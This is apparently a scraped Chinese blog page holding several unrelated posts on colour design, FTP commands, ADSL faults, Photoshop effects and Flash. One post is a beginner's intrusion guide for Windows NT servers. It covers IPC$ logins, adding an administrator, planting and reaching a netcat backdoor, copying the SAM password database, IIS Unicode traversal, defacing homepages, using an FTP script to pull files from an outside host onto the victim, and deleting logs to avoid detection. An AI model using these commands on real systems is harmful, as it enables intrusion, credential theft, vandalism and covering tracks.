齡、文化背景、風(fēng)俗習(xí)慣、生理反應(yīng)有所區(qū)別，人們有一定的主觀性，同時對顏色的象征性、情感性的表現(xiàn)，人們有著許多共同的感受。在色彩配置和色彩組調(diào)設(shè)計中，設(shè)計師要把握好色彩的冷暖對比、明暗對比、純度對比、面積對比、混合調(diào)合、面積調(diào)合、明度調(diào)合、色相調(diào)合、傾向調(diào)合等等，色彩組調(diào)要保持畫面的均衡、呼應(yīng)和色彩的條理性，廣告畫面有明確的主色調(diào)，要處理好圖形色和地色的關(guān)系。設(shè)計師要明確色彩定位。廣告定位在突出商標(biāo)時，要考慮企業(yè)的個性特征和企業(yè)的形象色，通過色彩定位來強化公眾對它的辨認廣告定位在突出商品時，就要強調(diào)商品的形象色。色彩傳達的目的在于充分表現(xiàn)商品、企業(yè)的個性特征和功能，以適合商品消費市場的審美流，利用色彩設(shè)計的創(chuàng)意造成一種更集中、更強烈、更單純的形象，加深公眾對廣告信息的認知程度，達到信息傳播的目的。201*.2.1022:07作者：chenjiamiao520收藏|評論：0命令行方式使用FTP實戰(zhàn)練習(xí)分類:命令行方式使用FTP實戰(zhàn)命令行方式使用FTP實戰(zhàn)練習(xí)單上傳下載實例(/*....*/為注釋)：先假設(shè)有一FTP服務(wù)器，F(xiàn)TP服務(wù)器：qint.ithot.net，用戶名：username密碼：user1234。在本地電腦D：盤創(chuàng)建一個文件夾"qint"。將要上傳的文件復(fù)制到d:qint里。通過FTP命令將文件從本地上傳，從服務(wù)器下載的步驟如下：1.“開始”-“運行”-輸入“FTP”2.openqint.ithot.net/*這一步可以與第一步合并，在“運行”里直接輸入"ftpqint.ithot.net"。如果你的FTP服務(wù)器不是用的21默認端口，假如端口是2121，那么此步的命令應(yīng)在后面空格加2121，即“openqint.ithot.net2121”*/3.username/*提示你輸入用戶名*/4.user1234/*提示你輸入密碼，密碼不回顯，打完密碼后回車即可。如果你的密碼輸入錯誤，將不會提示你重新輸入，這時你要鍵入“user”命令，將會出現(xiàn)第三步，你可以重新輸入用戶名和密碼。*/5.dir/*你成功登陸后就可以用dir查看命令查看FTP服務(wù)器中的文件及目錄，用ls命令只可以查看文件。*/6.mkdirqint/*在FTP服務(wù)器上根目錄下建立qint目錄。*/7.cdqint/*進入目錄qint,用“cd你的目錄名”可以進入當(dāng)前目錄的下一級目錄，這跟DOS一樣。*/8.bin/*采用二進制傳輸。如果你要上傳下載，這一步很重要，不先執(zhí)行這個命令，上傳下載會很慢。*/9.lcdd:qint/*定位本地默認文件夾，在前面我事先在D：盤創(chuàng)建的。*/10.!dir/*查看本地文件夾中的文件及目錄*/11.puti001.jpg/*將當(dāng)前目錄(d:qint)中的文件i001.jpg上傳到FTP服務(wù)器默認目錄�？梢杂�"mput*.*"將所有文件上傳到FTP服務(wù)器上。*/12.getd123.jpg/*將FTP服務(wù)器默認目錄中的文件d123.jpg下載到當(dāng)前目錄下(d:qint)。可以用"mget*.*"將所有文件下載到d:qint*/13.delete*.*/*刪除目錄qint中的所有文件。*/14.cd../*返回至上一級目錄，即根目錄。返回上一級目錄用“cd..”要注意，中間有空格。返回根目錄用“cd”。*/15.mrdirqint/*刪除目錄qint。刪除目錄，在此目錄下不能有文件及目錄，不然將無法刪除。*/16.bye/*退出FTP服務(wù)器*/201*.2.1022:04作者：chenjiamiao520收藏|評論：0菜鳥必練入侵命令分類:菜鳥必練入侵命令：NET只要你擁有某IP的用戶名和密碼，那就用IPC＄做連接吧！這里我們假如你得到的用戶是hbx，密碼是123456。假設(shè)對方IP為127.0.0.1netuse\\127.0.0.1ipc＄123456/user:hbx退出的命令是netuse\\127.0.0.1ipc＄/delte下面的*作你必須登陸后才可以用.登陸的方法就在上面.----------------------下面我們講怎么創(chuàng)建一個用戶，由于SA的權(quán)限相當(dāng)于系統(tǒng)的超級用戶.我們加一個heibai的用戶密碼為lovechinanetuserheibailovechina/add只要顯示命令成功，那么我們可以把他加入Administrator組了.netlocalgroupAdministratorsheibai/add----------------------這里是講映射對方的C盤，當(dāng)然其他盤也可以，只要存在就行了.我們這里把對方的C盤映射到本地的Z盤.netusez:\\127.0.0.1c＄----------------------netstarttelnet這樣可以打開對方的TELNET服務(wù).----------------------這里是將Guest用戶激活，guest是NT的默認用戶，而且無法刪除呢？不知道是否這樣，我的201*就是刪除不了它。netuserguest/active:yes----------------------這里是把一個用戶的密碼改掉，我們把guest的密碼改為lovechina，其他用戶也可以的。只要有權(quán)限就行了呀！netuserguestlovechinanet命令果然強大啊！2:at一般一個入侵者入侵后都會留下后門，也就是種木馬了，你把木馬傳了上去，怎么啟動他呢？那么需要用AT命令，這里假設(shè)你已經(jīng)登陸了那個服務(wù)器。你首先要得到對方的時間，nettime\\127.0.0.1將會返回一個時間，這里假設(shè)時間為12:1，現(xiàn)在需要新建一個作業(yè)，其ID=1at\\127.0.0.112:3nc.exe這里假設(shè)了一個木馬，名為NC.EXE，這個東西要在對方服務(wù)器上.這里介紹一下NC，NC是NETCAT的簡稱，為了方便輸入，一般會被改名.它是一個TELNET服務(wù)，端口為99.等到了12:3就可以連接到對方的99端口.這樣就給對方種下了木馬.3:telnet這個命令非常實用，它可以與遠方做連接，不過正常下需要密碼、用戶，不過你給對方種了木馬，直接連到這個木馬打開的端口.telnet127.0.0.199這樣就可以連到對方的99端口.那你就可以在對方運行命令了，這個也就是肉雞.4:FTP它可以將你的東西傳到對方機子上，你可以去申請個支持FTP上傳的空間，國內(nèi)多的是，如果真的找不到，我給，不錯的.當(dāng)我們申請完后，它會給用戶名，密碼，以及FTP服務(wù)器.在上傳前需要登陸先，這里我們假設(shè)FTP服務(wù)器HUCJS，密碼是654321，用戶名是ftp他會要求輸入用戶，成功后會要求輸入密碼.下面先說上傳，假設(shè)你需上傳的文件是INDEX.HTM，它位于C:下，傳到對方D:getc:index.htmd:假設(shè)你要把對方C盤下的INDEX.HTM，下到你的機子的D盤下putc:index.htmd:5:copy下面我說說怎樣把本地的文件復(fù)制到對方硬盤上去，需要建立好IPC＄連接才有效。這里我們把本地C盤下的index.htm復(fù)制到127.0.0.1的C盤下copyindex.htm\\127.0.0.1c＄index.htm----------------------如果你要復(fù)制到D盤下把C改為D，就行了！copyindex.htm\\127.0.0.1d＄index.htm----------------------如果你要把他復(fù)制到WINNT目錄里就要把輸入copyindex.htm\\127.0.0.1admin＄index.htmadmin＄是winnt----------------------要把對方的文件復(fù)制過來，順便告訴大家NT的備份的數(shù)據(jù)庫放在x:winntrepairsam._sam._是數(shù)據(jù)庫的文件名下面就把127.0.0.1的數(shù)據(jù)庫復(fù)制到本地C盤下copy\\127.0.0.1admin＄repairsam._c:----------------------6：set如果你跑進了一部機子，而且想黑他（這思想只能在特別時候才準(zhǔn)有），當(dāng)然他的80端口要開，不然你黑給誰看。這時需要用SET命令！下面是我得到的結(jié)果！我來分析它，只是找主頁在那而已。COMPUTERNAME=PENTIUMIIComSpec=D:WINNTsystem32cmd.exeCONTENT_LENGTH=GATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=*/*HTTP_ACCEPT_LANGUAGE=zh-cnHTTP_CONNECTION=Keep-AliveHTTP_HOST=當(dāng)前登陸者的IP，這里本來是顯示我的IP，被我刪除了HTTP_ACCEPT_ENCODING=gzip，deflateHTTP_USER_AGENT=Mozilla/4.0(compatible;MSIE5.0;Windows98;DigExt)NUMBER_OF_PROCESSORS=1Os2LibPath=D:WINNTsystem32os2dll;OS=Windows_NTPath=D:WINNTsystem32;D:WINNTPATHEXT=.COM;.EXE;.BAT;.CMDPATH_TRANSLATED=E:vlroot主頁放在的地址，只要你看到PATH_TRANSLATED=的后面就是主頁的存放地址。這里是E:vlrootPROCESSOR_ARCHITECTURE=x86PROCESSOR_IDENTIFIER=x86Family6Model3Stepping3，GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=0303PROMPT=＄P＄GQUERY_STRING=/csetREMOTE_ADDR=XX.XX.XX.XXREMOTE_HOST=XX.XX.XX.XXREQUEST_METHOD=GETSCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exeSERVER_NAME=XX.XX.XX.XXSERVER_PORT=80SERVER_PORT_SECURE=0SERVER_PROTOCOL=HTTP/1.1SERVER_SOFTWARE=Microsoft-IIS/3.0對方使用IIS/3.0SystemDrive=D:SystemRoot=D:WINNTTZ=GMT-9USERPROFILE=D:WINNTProfilesDefaultUserwindir=D:WINNT粉紅色的那行就是對方主頁存放地址，這里告訴大家一個技巧，很笨的技巧啊，不過只能用這個方法才能100%的找到主頁的名稱，當(dāng)你DIR這個目錄時，一定會看到很多文件，你可以把所有文件在瀏覽器這樣輸入XX.XX.XX.XX/文件名，這樣只要看到和XX.XX.XX.XX看到的也面一模一樣，那么這就是主頁的名稱了。7：nbtstat如果你掃到一部NT的機子，他的136到139其中一個端口開了的話，就要用這個命令得到用戶了。順便告訴大家這是netbios，得到用戶名后就可以猜猜密碼了。例如比較簡單的密碼，密碼和用戶名一樣的，都試下，不行就暴力破解吧！現(xiàn)在網(wǎng)上很多NT的機子都開了這些端口的，你可以練習(xí)下，我們來分析得到的結(jié)果。命令是nbtstat-AXX.XX.XX.XX-A一定要大寫哦。下面是得到的結(jié)果。NetBIOSRemoteMachineNameTableNameTypeStatus---------------------------------------------RegisteredRegisteredRegisteredRegisteredRegisteredRegisteredRegisteredRegisteredRegisteredRegisteredRegisteredMACAddress=00-E0-29-14-35-BAPENTIUMIIUNIQUEPENTIUMIIUNIQUEORAHOTOWNGROUPORAHOTOWNGROUPORAHOTOWNUNIQUEPENTIUMIIUNIQUEINet~ServicesGROUPIS~PENTIUMII...UNIQUEORAHOTOWNGROUPORAHOTOWNUNIQUE..__MSBROWSE__.GROUP粉紅色的就是登陸過這部系統(tǒng)的用戶，可能你不知道怎么看，大家是不是看到了一竄數(shù)字，只要這竄數(shù)字是的話，那他前面的就是用戶。這里的用戶是PENTIUMII。8：Shutdown關(guān)了對方的NT服務(wù)器的命令Shutdown\\IP地址t:2020秒后將NT自動關(guān)閉，三思后才能運行這個命令，這樣對對方造很大的損失，要做個有良心的入侵者呀。9：DIR這個命令沒什么好講，但是卻非常重要，他是查看一目錄里的所有文件、文件夾。你可以本地試下。10：echo著名的漏洞Unicode，這個命令可以簡單的黑一下有這個漏洞的主機。我們假設(shè)我們要把“南京大屠殺鐵證如山，任何日本人不得抵賴！”寫入index.htm，有2種方法，大家看看有什么區(qū)別。echo南京大屠殺鐵證如山，任何日本人不得抵賴！>index.htmecho南京大屠殺鐵證如山，任何日本人不得抵賴！>>index.htm第一個的意思是覆蓋index.htm原有的內(nèi)容，把“南京大屠殺鐵證如山，任何日本人不得抵賴！”寫進index.htm。第二個的意思是把“南京大屠殺鐵證如山，任何日本人不得抵賴！”加到index.htm里面。“>>”產(chǎn)生的內(nèi)容將追加進文件中，“>”則將原文件內(nèi)容覆蓋。大家可以本地試下�？赡苣銜�問，這樣簡單黑下有什么好玩的，其實他可以用來下載主頁到對方的目錄里。1、首先，我們需要申請一個免費的主頁空間。2、用echo在可寫目錄下建立如下內(nèi)容的txt文件：（以chinren服務(wù)器為例。）openupload.chinaren.com（你的FTP服務(wù)器，申請時你的空間提供商會給你的）cnhack（你申請時的用戶名）test（你申請時的密碼）getindex.htmc:inetpub（這里是把你空間上的index.htm下載到對方的c:inetpub）bye（退出FTP對話，相當(dāng)在98下的DOS，用EXIT退出DOS）具體的做法：輸入echoopenupload.chinaren.com>c:cnhack.txt輸入echocnhack>>c:cnhack.txt輸入echo39abs>>c:cnhack.txt輸入echogetindex.htmc:inetpub>>c:cnhack.txt最后輸入ftp-s:c:cnhack.txt（利用ftp的-s參數(shù)，執(zhí)行文件里的內(nèi)容。）等命令完成時，文件已經(jīng)下載到你指定的文件里了。注意：取得文件后，請刪除cnhack.txt。（如果不刪除，很容易會給別人看到你的密碼。）記得要delc:cnhack.txt11:attrib這個命令是設(shè)置文件屬性的。如果你想黑一個站，而他的主頁的文件屬性設(shè)置了只讀，那就很可憐呀，想刪除他也不行，想覆蓋他也不行。倒！不過有這個命令就別怕了。attrib-rindex.htm這個命令是把index.htm的只讀屬性去掉。如果把“-”改為“”則是把這個文件的屬性設(shè)置為只讀----------------------attribrindex.htm這個命令是把index.htm的屬性設(shè)置為只讀。12el當(dāng)你看到這個標(biāo)題可別倒下��！現(xiàn)在要離開127.0.0.1了，要刪除日志，當(dāng)然要刪除日志啦！想被捉嗎。呵呵。NT的日志有這些delC:winntsystem32logfiles*.*delC:winntssytem32config*.evtdelC:winntsystem32dtclog*.*delC:winntsystem32*.logdelC:winntsystem32*.txtdelC:winnt*.txtdelC:winnt*.log只要刪除這些就可以了。有些系統(tǒng)NT安裝在D盤或其他盤，就要把C改成其他盤。201*.2.1022:04作者：chenjiamiao520收藏|評論：0ADSL常見故障及維護分類:ADSL常見故障及維護ADSL是目前寬帶上網(wǎng)的主流形式，下面我們就給大家介紹一些用ADSL上網(wǎng)時的常見故障及維護方法，希望能對你有所助益。1.ADSL的最簡單故障判斷方法？解答：可根據(jù)ADSLModem面板上的信號燈的顯示情況進行問題的初步判斷，如下：“ADSL”燈：用于顯示Modem的同步情況，常亮綠燈表示Modem與局端能夠正常同步；紅燈表示沒有同步；閃動綠燈表示正在建立同步�！�10BaseT”燈，用于顯示Modem與網(wǎng)卡或Hub的連接是否正常，如果此燈不亮，則Modem與計算機之間肯定不通，當(dāng)網(wǎng)線中有數(shù)據(jù)傳送時，此燈會略閃動�！癆TM25”燈，顯示ATM25口狀態(tài)，一般不用�！癕aint”燈，與遠程管理有關(guān)，一般為常亮�！癙ower”燈，電源顯示。2.用ADSL上網(wǎng)會使電話服務(wù)的質(zhì)量下降嗎？另外，打電話是否會導(dǎo)致上網(wǎng)速率下降嗎？解答：ADSL設(shè)備在設(shè)計上已經(jīng)考慮到這一點，使用頻分復(fù)用的技術(shù)將電話音與數(shù)據(jù)流分開，互相不干擾。在實際線路的測試中，安裝ADSL的電話與普通電話的語音沒有任何區(qū)別：而在傳輸數(shù)據(jù)信息的時候，提起話機，掛斷電話及隨意通話，傳輸速率保持不變。3.為什么有時候ADSL訪問速度并不比普通撥號MODEM快多少？解答：造成ADSL訪問速度慢的情況有如下：a.如果訪問國外站點，訪問會受到出口帶寬及對方站點配置情況等因素影響；b.由于ADSL技術(shù)對電話線路的質(zhì)量要求較高，而且目前采用的ADSL是一種RADSL[即速率自適應(yīng)ADSL]，如果電話機樓到用戶間的電話線路在某段時間受到外在因素干擾，RADSL會根據(jù)線路質(zhì)量的優(yōu)劣和傳輸距離的遠近動態(tài)地調(diào)整用戶的訪問速度。4.ADSL有時不能正常上網(wǎng)，這是什么原因呢？解答：ADSL是一種基于雙絞線傳輸?shù)募夹g(shù)，雙絞線是將兩條絕緣的銅線以一定的規(guī)律互相纏在一起，這樣可以有效的抵御外界的電磁場干擾。但市面大多電話線是平行線，從電話公司接線盒到用戶電話這段線很多用的都是平行線，這對ADSL傳輸非常不利，過長的非雙絞線傳輸會造成連接不穩(wěn)定、DSL燈閃爍等現(xiàn)象，從而影響上網(wǎng)。由于ADSL是在普通電話線的底頻語音上疊加高頻數(shù)字信號，所以從電話公司到ADSL濾波器這段連接中任何設(shè)備的加入都將危害到數(shù)據(jù)的正常傳輸，所以在濾波器之前不要并電話、電話防盜打器等設(shè)備。5.根據(jù)ADSL的速度，本地下載應(yīng)該在1M以上，為什么實際才100-300K之間呢？解答：速率單位的問題。號稱56K的modem下載最大才5-6K。56K單位是bit,而下載時的速率顯示是byte。1byte=8bit。所以下載顯示是200kB時，其實已經(jīng)達到了1.6Mbit，已經(jīng)相當(dāng)快了。由于服務(wù)器和客戶端硬盤讀寫速度等諸多原因，本地下載速度還不能發(fā)揮ADSL2-8Mbit/s的最大能力。我們也期望更快的服務(wù)器出現(xiàn)。6.為什么ADSL的指示燈都正常也會掉網(wǎng)？解答：ADSL的指示燈中，最重要的燈是“ADSL”指示。在ADSL線路沒問題的時候，這個燈應(yīng)該是綠色的。但是有些用戶在“ADSL”指示燈都正常的時候也會掉線，而且重新啟動MODEM就好了。這種情況多發(fā)生在沒有做代理服務(wù)器，沒有做放火墻或路由器的網(wǎng)絡(luò)用戶上面，這是為什么呢？因為在ADSLMODEM上有個“10Base-T”口，這個口是接局域網(wǎng)的，實際上是個HUB口。雖然是10M的端口，但是ADSL的上行帶寬只有幾百Kbit/s。如果用戶局域網(wǎng)內(nèi)部是ADSL直接接HUB，HUB再接下面的客戶機，網(wǎng)絡(luò)內(nèi)的許多與ADSL無關(guān)的數(shù)據(jù)包將占用ADSL上行通道，ADSL也無法控制局域網(wǎng)內(nèi)的廣播風(fēng)暴，如過超過ADSL上行傳輸能力，數(shù)據(jù)包將裝入ADSL的緩存，如果數(shù)據(jù)量繼續(xù)增大，緩存溢出，造成ADSL“休眠”現(xiàn)象。這樣只有重新啟動MODEM了。解決辦法是資金不太雄厚的用戶可以做一臺雙網(wǎng)卡的代理服務(wù)器（一定要雙網(wǎng)卡），這樣可以隔斷MODEM與局域網(wǎng)之間的直接通信，避免上述問題。單位用戶最好用防火墻或路由器。7.為什么有時虛擬撥號時會失�。拷獯穑篈DSL虛擬撥號軟件在使用時有以下幾種錯誤信息：a.撥號窗口顯示“BeginNegotiation”然后等待，最后直接彈出菜單“timeout"。這種情況表明網(wǎng)絡(luò)不通。原因有:ADSL上的10BaseT端口上的網(wǎng)線沒有連接好;ADSL網(wǎng)絡(luò)不通,可以重啟ADSL后再試。b.撥號窗口顯示“BeginNegtiation”,然后“Authenticating”,最后“AuthenticationFailed”。這種情況表明你的帳號或密碼有誤。c.撥號窗口顯示“BeginNegotiation”,然后“Authenticating”,然后“ReceivingNetworkParameter”,最后彈出菜單“timeout"。這種情況表明撥號IP地址已經(jīng)被占滿，請稍后再撥。8.ADSLModem上的"ADSL"燈為什么會變紅,怎樣盡量避免?解答：ADSL上的"ADSL"燈(最前面的燈)是ADSL最為重要的指示燈,它是判斷ADSL是否能通訊的第一步�！癆DSL”燈有幾種狀態(tài):“ADSL”燈如果長綠,表明用戶端的MODEM與電信局端的MODEM已經(jīng)建立好了物理上的連接這叫作"同步",這是ADSL正常工作的第一步,是最為重要的一步�！癆DSL”燈如果變成紅色,表明用戶端的MODEM與電信局端的MODEM的物理連接已經(jīng)斷開這叫作"失步"�！癆DSL”燈如果正在閃爍,表明用戶端的MODEM與電信局端的MODEM正在試圖建立連接,也就是說同步進行中。當(dāng)用戶將ADSLMODEM加上電源幾十秒后,"ADSL"燈就從"紅色綠色閃爍長綠"變化,這就是建立同步的過程。如果ADSLMODEM正在使用中出現(xiàn)"ADSL"指示燈變紅的現(xiàn)象,就說明此時此刻你的電話線路上有強干擾;電話線路上某個接頭沒接好,有松動現(xiàn)象;線路故障。解決辦法及注意事項:a.ADSL線路上不能并分機,電話只能從分離器PHONE端口引出,否則會引起ADSL失步。b.線路上的接頭一定要接好,特別是用戶房屋內(nèi)部的接頭。c.如果從電信局分線盒內(nèi)出來電話線太長,應(yīng)將平行線換成雙絞線,提高線路抗干擾能力。d.ADSL有時會受到天氣原因的干擾,比如大雨等.用戶可以等幾個小時就會自然恢復(fù)201*.2.1022:00作者：chenjiamiao520收藏|評論：0Photoshop金屬效果的教程分類:Photoshop金屬Photoshop作為專業(yè)的圖象設(shè)計軟件能夠做出各種夢幻般的特效。本例就是用制作出一種個性化的金屬效果。1.新建文件，大小隨便的，要看需要的嘛2.新建一個圖層(lix有不在background上做東西的習(xí)慣)，然后用鋼筆工具錨出你所需要的外形，這里就用lix那個不知道什么東西的外形示范吧。此主題相關(guān)圖片如下：3.把這個路徑轉(zhuǎn)成選區(qū)，填個比較深的灰色此主題相關(guān)圖片如下：4.新建一個層，載入圖層的選區(qū)，填充白色；然后取消選區(qū)，用三次高斯模糊（三次的數(shù)值分別為16、8、4），這樣做的意思是讓模糊很厲害的地方和不厲害的地方能有很好的銜接，當(dāng)然你也可以不用這三個數(shù)值了，好了以后把這個層的模式改成屏幕。此主題相關(guān)圖片如下：5.載入圖層1的選區(qū)，進入通道面板，然后按這個（見下圖)此主題相關(guān)圖片如下：6.點擊通道alpha1，別取消選區(qū)哦，在這個通道上用幾次高斯模糊（視情況而定哦），一般來說，越模糊將來的作品的厚度會更厚更圓滑，相反就比較薄和硬了（不過模糊是一定要做的，不然將來的東西可是平板了）。如果你還想在你將來的作品上加些紋理什么的，你現(xiàn)在就可以在這個通道里加上去了，注意了，這個通道里只有2種顏色，即黑與白，黑色是凹，白色是凸，可能看看文字還是很清楚，不過你可以試試。弄好以后有2種選擇，一是反選后按delete，二是什么也不做，一呢？可以使將來的作品的凹凸感更明顯點，但背光的地方會有毛刺，二將來的凹凸感沒一這么好，但沒有毛刺，自己選擇吧~此主題相關(guān)圖片如下：7.回到圖層面板，載入圖層1的選區(qū)，新建一個圖層，新圖層置于最上層，填充黑色，取消選區(qū)，改變圖層模式為屏幕。這時這個層會像消失一樣，不用擔(dān)心此主題相關(guān)圖片如下：8.對這個圖層用光照效果，看看圖示（大致的，做不得準(zhǔn)），燈光類型是隨便的，光照類型要“平行光”，環(huán)境設(shè)成-100，紋理通道選擇alpha1，其他設(shè)置只要能讓這個圖形有光面和暗面呈現(xiàn)出立體感了就可以了，看你喜歡了此主題相關(guān)圖片如下：9.以下幾步為了避免大家可能產(chǎn)生的本本主義，lix決定不放圖片（別打..）對剛剛用光照的層先用一次高斯模糊，參數(shù)設(shè)1，消除可能出現(xiàn)的不平整的地方嘛。然后用曲線調(diào)整一下，讓光暗面更明顯更適合你的需要。（lix建議不要讓對比度太厲害）10.再載入圖層1的選區(qū)，新建一個層，填充50%灰色，置于最上層，用濾鏡>>素描>>鉻黃，具體參數(shù)要看你的圖形了，好了以后把這個圖層的模式改成為“疊加”，再用曲線調(diào)整，把光亮面和亮光的程度調(diào)到你心里所要的11.大功告成，如果你不喜歡這個讓你討厭的灰色，可以按ctrlU來調(diào)顏色（合并層以后或者改層1的)此主題相關(guān)圖片如下：201*.2.1021:37作者：chenjiamiao520收藏|評論：0Flash經(jīng)典問答百例分類:Flash經(jīng)典問答百例問：如何快捷地對齊不同F(xiàn)rame中的物件,包括左對齊,右對齊？答：用Inspector“CtrlAltI”直接輸入坐標(biāo)�；蚴枪ぞ邫凇怠荡翱凇怠得姘濉怠蹬帕小癈trlK”調(diào)出排列面板來。問：我到現(xiàn)在還沒研究出來,如何使一個物件談化？答：淡化選中Symbol，Modify〉〉Instance〉〉Coloreffect〉〉A(chǔ)lpha調(diào)整就可以了。問：Modify菜單下的Instance常常不知為什么變成不可點擊狀態(tài),請問如何才能再次激活它？答：Instance選項只有在選定了某一對象時才能激活，若你不選擇對象，它是不可激活的。你選中的對象必須是Symbol才行。問：我做好的Flash放在PAGE上面以后,它老是循環(huán),請問怎么能夠讓它不進行循環(huán)？答：最后一個Frame的Action設(shè)置成Stop()。問：請問Flash前面的LOAD怎么做的？答：主要是關(guān)于Action，ifframeisloaded()的用法，新建一層，這層專門放Action,第一幀，ifFrameLoaded("場景",frame){gotoandplay()}，第二幀，gotoandplay("場景1",1),再加上一段load的movie循環(huán)播放在這兩幀的中間，就行了。問：如何生成一個物件或文字的陰影？答：一種就是用位圖，用Photoshop或者fireworks。一種是用深顏色做，就是將要加陰影的東東做成Symbol.然后做兩層。把下面一層Symbol的coloreffect改成你要的效果（一般是改成brightness=0）再偏移就可以了。問：請問我在SYMBOL里面做的物件怎么一拿出來就變得很大？在SYMBOL里面的尺寸和外面的怎么算��？答：大概是百分比吧。沒有個太準(zhǔn)確的算法啊！用“CtrlAltI”可以調(diào)整長寬和位置。問：如何讓Flash內(nèi)的文字變形？答：用“CtrlB”打散它，進行Shape變換，Tweening的時候不選Motion,而選Shape,這樣你會看見綠色的箭頭。問：如何點擊一個Flash動畫后，轉(zhuǎn)向新的網(wǎng)頁，是不是必須是按鈕，按鈕的動作中加入那一條命令？答：不是按鈕也可以，運行到一個Frame執(zhí)行ActiongetURL(url,window,method)；就行了。當(dāng)然在Button處加個Action，getURL(url，window，method)也可以。問：如何在Flash中控制音量？答：在sound的選項中，可以選擇淡進淡出或者其它的效果也可以自己調(diào)節(jié)那個方塊的控制柄來調(diào)節(jié)音。問：在下對Flash很感興趣,但目前我對它的制作方法一點都不知道,究竟用什么工具制作的？常用哪些軟件來配合使用？如何能把它放在WEBSERVER上？答：用Flash來制作，F(xiàn)lash是MACROMEDIA公司出品，你可以去它的網(wǎng)址Download，F(xiàn)lash5自帶有發(fā)布到WEB上的工具。問：請問自己在Flash中加入自己錄入的歌曲？還有請問是什么格式的？答：用IMPORT功能（CtrlR），聲音或音樂格式為WAV，F(xiàn)lash5支持mp3的導(dǎo)入。問：如何調(diào)整EXPORTGIF的SIZE？答：輸出Movie的時候可以調(diào)整的，我在出動畫gif的時候都是先出avi，再轉(zhuǎn)成gif。問：我在做按鈕時，如果做一個按鈕名叫Button,運行時在Mouseover狀態(tài)時，字符B和字符U之間的空隙能不能被激活？答：顯然，在設(shè)置Mouseover時沒有確定范圍，就是在Button的最后一幀Hit那里，可以選取矩形并填色，以確定over的范圍，記住要保證矩形覆蓋按鈕，在做Button的時候，一定要記住確定Hit的范圍。問：如何判斷用戶的瀏覽器有沒有Flash的插件？答：用AfterShock可以生成一個現(xiàn)成的。最簡單的方法用Dreamweaver來寫Html。使用Behavior中的Checkplugin就可以了FLASH經(jīng)典問答第一篇：FLASH資源問：請介紹幾個幾個國內(nèi)比較好一點的FLASH論壇。答：閃客帝國閃盟在線:問：現(xiàn)在市面上FLASH的書那本最好？答：《網(wǎng)頁動畫制做－flash4》是一本很不錯的書，由老虎工作室編著，出版：人民郵電出版社，定價：42元，帶1HD。如果想提高看《FLASH十全大補》，出版：希望出版社，定價：50.00元。帶1CD。臺灣兩只老虎中的胭脂虎所著。另外《flash4躍動的網(wǎng)頁》也不錯，由臺灣施威銘研究室編著，定價：59元，出版：中國青年出版社，帶1CD。問：請國內(nèi)有哪些地方提供矢量圖庫和音效？答：矢量圖形：;曦曦天地;閃光地帶;閃客沙龍;東瓜茶軒音效;灰丫音效資源站下面的地址有更詳細的說明~eastecho/fbb...44.html關(guān)于圖庫~eastecho/fbb...45.html關(guān)于音效問：請介紹一些國外的FLASH教學(xué)站點。答-fx.net/;內(nèi)有大量英文教程，分類詳細。-here.com/forum一個不錯的英文FLASH論壇。唇誘鏡慵凹蚱饋?/a>第二篇：flash基礎(chǔ)問：很多人說到的MC、FS代表什么意思？答：MC=MovieClip。動畫片斷。FS=FSCOMMAND，是FLASH的一個非常重要的一個命令集合。問：MC到底如何運用呢？我是指將一個MC引用到場景中后，如何播放？一個很長的MC放在場景中要占據(jù)幾幀的位置？答：把MC拖到場景中，動畫播放時它就會自動播放，如果你沒有在最后一幀加上stop，MC會默認為循環(huán)。這里要提一下，要觀看播放的效果須執(zhí)行CtrlEnter。一個很長的MC放入場景中也只占據(jù)一幀的位置，如果將它拖了很多幀，執(zhí)行時每隔一幀MC都會重放。問：為什么在用flash做“沿軌跡運動”時總是沿直線運動，和教程對照了一下，做法完全一樣，怎么不行？答：這個問題似乎總會困擾初學(xué)者，但實際上問題很簡單。首尾2幀中心位置沒有放準(zhǔn)在軌跡上。一個簡單的檢查辦法：你把屏幕大小設(shè)定為400%或更大，察看圖形中間出現(xiàn)的圓圈是否對準(zhǔn)了運動軌跡。問：為什么我在FLASH中做旋轉(zhuǎn)為什么總是轉(zhuǎn)不快。有什么辦法可以轉(zhuǎn)快一點呢？答：你把播放速度調(diào)快，比如30禎/秒，方法：主菜單->modify（修改）->movies（影片）,加大Framerate（影格速度）的值便可。問：請問制作按鈕時，“hit”是用來做什么的？什么時候需要用到？很多教程都沒具體講解“hit”的用法。答：hit是指定按紐的激發(fā)區(qū)域。在HIT內(nèi)設(shè)定的區(qū)域在播放時是不會顯示出來的。如果沒有指定HIT區(qū)域，一般FLASH會默認你的按紐區(qū)域作為激發(fā)區(qū)域。比如：用文字做按鈕時，最好能定義一個矩形來做觸發(fā)區(qū)，而不是系統(tǒng)默認的文字內(nèi)容。問：如何把flash放P201*、FP98中去？答：FP98和FP201*對FLASH的支持較差，不能直接在其中插入FLASH動畫，解決辦法是在SWF文件發(fā)布、原代碼生成后，把HTML文件中的部分拷過去便可。建議使用DREAMWEAVE來制做FLASH動畫網(wǎng)頁，會方便很多。問：如何把一個fla文件輸出成和swf一樣的gif文件答：先在Publishsettings（發(fā)布設(shè)置）->format（格式）->Gifimage（gif影像），并對其進行相應(yīng)的設(shè)置之后，用Publish（發(fā)布）功能便可輸出GIF文件。如果FLA文件中含有MC，那么GIF文件中將不會包含MC中的動畫，而將只將MC的第一楨轉(zhuǎn)化為GIF。問：把做好的一個只有十幾K的FLASH放入網(wǎng)頁中后，預(yù)覽網(wǎng)頁時，為什么要等好長時間FLASH才能被顯示。答：檢查SWF文件的名字．路徑是否正確，如果不正確系統(tǒng)會試圖長時間等待。問：如何設(shè)置FLASH的背景？答：設(shè)定背景顏色可以按CtrlM，選color項里的BACKGROUND（背景），如果想用一幅圖形做背景只需在最下的一個層import（輸入）一幅圖像便可。問：在FLASH中，怎樣畫一個圓圈，如何修改圓圈的顏色？答：畫圓的時候把填充色（顏色設(shè)定的左上角選項）設(shè)為無就可以了！把邊框的顏色設(shè)定為相應(yīng)顏色便可。問：外部導(dǎo)入txt如何變字體的顏色？答：在設(shè)定文本框時，設(shè)定字體的顏色。問：才打開FLASH4時使用鉛筆工具畫圓時還可以，但再次新建一個時用鉛筆工具畫圓時（模式是平滑）畫出來的卻不是一個圓或者橢圓！這是怎么回事？答：按住Shift的同時畫圓，你能畫的更圓！問：我做出來的文字與圖形總是很難對齊，請問如何對齊目標(biāo)，并把它們放到你想要的位置。答：選中目標(biāo)，然后從主菜單->windows（窗口）->inspector（查看